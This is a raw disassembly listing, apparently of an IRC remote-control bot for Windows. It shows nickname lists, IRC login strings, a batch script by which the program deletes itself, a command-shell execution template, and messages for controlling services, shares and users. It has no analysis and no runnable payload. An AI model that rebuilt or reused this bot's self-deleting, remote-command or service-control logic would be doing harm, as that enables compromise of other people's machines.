		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A78	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
; ---------------------------------------------------------------------------
		mov	[ebp-727FFFBDh], cl
		inc	ebx
		add	[ebp+ecx*4+43h], bh
		add	[eax-73h], bh
		inc	ebx
		add	[eax-73h], dh
		inc	ebx
		add	[eax-73h], ch
		inc	ebx
		add	[eax-73h], ah
		inc	ebx
		add	[eax-73h], bl
		inc	ebx
		add	[eax-73h], dl
		inc	ebx
		add	[eax-73h], cl
		inc	ebx
		add	[eax-73h], al
		inc	ebx
		add	[eax], bh
		lea	eax, [ebx+0]
		sub	al, 8Dh
		inc	ebx
		add	ds:8D1C0043h[ecx*4], ah
		inc	ebx
		add	[eax], bl
		lea	eax, [ebx+0]
		adc	[ebp-6CFBFFBDh], cl
		inc	ebx
		add	[ecx+esi*4+42h], dl
		add	[ebx+edx*4], bl
		inc	ebx
		add	[eax+180042B1h], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], dl
		inc	ebx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[esi+eax*8+42h], bh
		add	[eax-47h], al
		inc	edx
		add	[eax+700042B7h], cl
		mov	bh, 42h
		add	al, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439324
		dd offset dword_439308
		dd offset dword_439320
		dd offset dword_43930C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
; ---------------------------------------------------------------------------
		aam	8Ch
		inc	ebx
		add	ah, cl
		mov	word ptr [ebx+0], es
		or	al, 93h
		inc	ebx
		add	[ebx+edx*4], dl
		inc	ebx
		add	[esi+eax*8-396FFFBEh], al

loc_438B62:				; CODE XREF: ___:00438BD4j
		inc	edx
		add	al, cl
		mov	word ptr [ebx+0], es
		ror	byte ptr [ebx+eax*2+43DB9800h],	0
		cwde
		fild	dword ptr [ebx+0]
		mov	esp, 9800438Ch
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		aam	92h
		inc	ebx
		add	[edx+edx*4-734BFFBDh], ah
		inc	ebx
		add	[eax-57FFBC74h], dh
		mov	word ptr [ebx+0], es
		add	al, 93h
		inc	ebx
		add	[eax-63FFBC25h], bl
		mov	word ptr [ebx+0], es
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		xchg	eax, esp
		mov	word ptr [ebx+0], es
		mov	word ptr [ebx+eax*2+43DB9800h],	cs
		add	[eax-47FFBC25h], bl
		xchg	eax, edx
		inc	ebx
		add	[eax-77FFBC25h], bl
		mov	word ptr [ebx+0], es
		or	byte ptr [ebx+eax*2+438C7800h],	0
		jo	short loc_438B62
		inc	ebx
		add	[esp+ecx*4+43h], ch
		add	[esp+ecx*4+43h], ah
		add	[esp+ecx*4+43h], bl
		add	[esp+ecx*4+43h], dl
		add	[esp+ecx*4+43h], cl
		add	[eax-74h], cl
		inc	ebx
		add	[esp+ecx*4+43h], al
		add	[esp+ecx*4], bh
		inc	ebx
		add	[eax], dh
		mov	word ptr [ebx+0], es
		sub	[ebx+eax*2+438C2000h], cl
		add	[eax], bl
		mov	word ptr [ebx+0], es
		adc	al, 8Ch
		inc	ebx
		add	[eax], dl
		mov	word ptr [ebx+0], es
		db	36h
		jnz	short $+3
		add	ds:7C000075h, dh
		xor	al, 75h
		jl	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6F79347Bh, 7D75h, 7375347Ch,	7Ch, 7865737Ch,	65726634h
		dd 7C65h, 6F6C6F6Ch, 7C617Ch, 6C6F6Ch, 746F74h,	6F666F6Dh
		dd 0
aMof0		db 'mof0',0
		align 4
aMuha		db 'muha',0
		align 4
aYeah		db 'yeah',0
		align 4
aAha		db 'aha',0
aShit		db 'shit',0
		align 4
aGurl		db 'gurl',0
		align 10h
aGirl_0		db 'GIRL',0
		align 4
		dd offset word_594F42
aFree		db 'Free',0
		align 4
aFuck_0		db 'Fuck',0
		align 4
aSleeping	db 'Sleeping',0
		align 4
aF_2		db '^^^f^',0
		align 10h
aSad		db 'Sad',0
aLuvu		db 'LUVU',0
		align 4
a___0		db '_|_',0
aBbl		db '|bbl',0
		align 4
		dd offset loc_425240+2
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B48o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B44o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B40o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B3Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B38o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B34o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B30o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B2Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B28o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438B08o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 4
aZex		db 'zex',0
aLez		db 'lez',0              ; DATA XREF: ___:00438A7Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A74o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A70o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A6Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A68o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A64o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A60o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A5Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A58o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A54o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A50o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A4Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A48o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A44o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A40o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A3Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A38o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A34o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A30o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A2Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A28o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A24o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A20o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A1Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A18o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A14o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A10o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438A0Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438A08o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438A04o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438A00o
		align 4
off_438EA8	dd offset byte_4B5245	; DATA XREF: ___:004389FCo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389F8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389F4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389F0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389ECo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389E8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389E4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389E0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389DCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389D8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389D4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389D0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389CCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389C8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389C4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389C0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389BCo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389B8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389B4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389B0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004389ACo
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004389A8o
aHoly		db 'holy',0             ; DATA XREF: ___:004389A4o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:004389A0o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043899Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438998o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438994o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438990o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043898Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438988o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438984o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438980o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043897Co
aArda		db 'arda',0             ; DATA XREF: ___:00438978o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438974o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438970o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043896Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438968o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438964o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438960o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043895Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438958o
		align 4
off_43903C	dd offset byte_457441	; DATA XREF: ___:00438954o
dword_439040	dd 414C5941h, 2Dh	; DATA XREF: ___:00438950o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043894Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438948o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438944o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438940o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043893Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438938o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438934o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438930o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043892Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438928o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438924o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438920o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043891Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438918o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438914o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438910o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043890Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438908o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438904o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438900o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388FCo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388F8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388F4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388F0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388ECo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388E8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388E4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388E0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388DCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388D8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388D4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388D0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388CCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388C8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388C4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388C0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388BCo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388B8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388B4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388B0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004388ACo
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:004388A8o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:004388A4o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:004388A0o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043889Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438898o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438894o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438890o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043888Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438888o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438884o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438880o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043887Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438878o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438874o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438870o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043886Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438868o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438864o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438860o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043885Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438858o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438854o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438850o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043884Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438848o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438844o
		align 4
aM_0:					; DATA XREF: ___:00438840o
		unicode	0, <M>,0
word_4392A8	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043883Co
		align 4
dword_4392AC	dd 42h			; DATA XREF: ___:00438838o
dword_4392B0	dd 56h			; DATA XREF: ___:00438834o
dword_4392B4	dd 43h			; DATA XREF: ___:00438830o
dword_4392B8	dd 58h			; DATA XREF: ___:0043882Co
dword_4392BC	dd 5Ah			; DATA XREF: ___:00438828o
dword_4392C0	dd 4Ch			; DATA XREF: ___:00438824o
dword_4392C4	dd 4Bh			; DATA XREF: ___:00438820o
dword_4392C8	dd 4Ah			; DATA XREF: ___:0043881Co
dword_4392CC	dd 48h			; DATA XREF: ___:00438818o
dword_4392D0	dd 47h			; DATA XREF: ___:00438814o
dword_4392D4	dd 46h			; DATA XREF: ___:00438810o
dword_4392D8	dd 44h			; DATA XREF: ___:0043880Co
dword_4392DC	dd 53h			; DATA XREF: ___:00438808o
dword_4392E0	dd 50h			; DATA XREF: ___:00438800o
dword_4392E4	dd 4Fh			; DATA XREF: ___:004387FCo
dword_4392E8	dd 55h			; DATA XREF: ___:004387F4o
word_4392EC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387F0o
		align 10h
dword_4392F0	dd 54h			; DATA XREF: ___:004387ECo
dword_4392F4	dd 52h			; DATA XREF: ___:004387E8o
dword_4392F8	dd 45h			; DATA XREF: ___:004387E4o
dword_4392FC	dd 57h			; DATA XREF: ___:004387E0o
dword_439300	dd 51h			; DATA XREF: ___:004387DCo
dword_439304	dd 62h			; DATA XREF: ___:004387D0o
dword_439308	dd 78h			; DATA XREF: ___:004387C4o
					; ___:00438B1Co
dword_43930C	dd 7Ah,	68h, 67h, 66h, 64h ; DATA XREF:	___:004387C0o
					; ___:00438B24o
dword_439320	dd 79h			; DATA XREF: ___:00438B20o
dword_439324	dd 77h			; DATA XREF: ___:00438B18o
dword_439328	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439334	dd 323334h		; DATA XREF: sub_417B76+79o
dword_439338	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 10h
dword_439380	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393CC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------

loc_4393E8:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393FC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 10h
unk_4394B0	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_4394E0	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439508	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h, 0
off_439528	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43952C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439530	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		dd 0
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43959Ch, 439594h,	2, 439588h, 43957Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043955Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439558o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439550o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043954Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439544o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439540o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439538o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439534o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43952Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439528o
unk_4395F0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439614	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439640	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B94	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BB8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BD4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C20	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C80	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439CA8	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
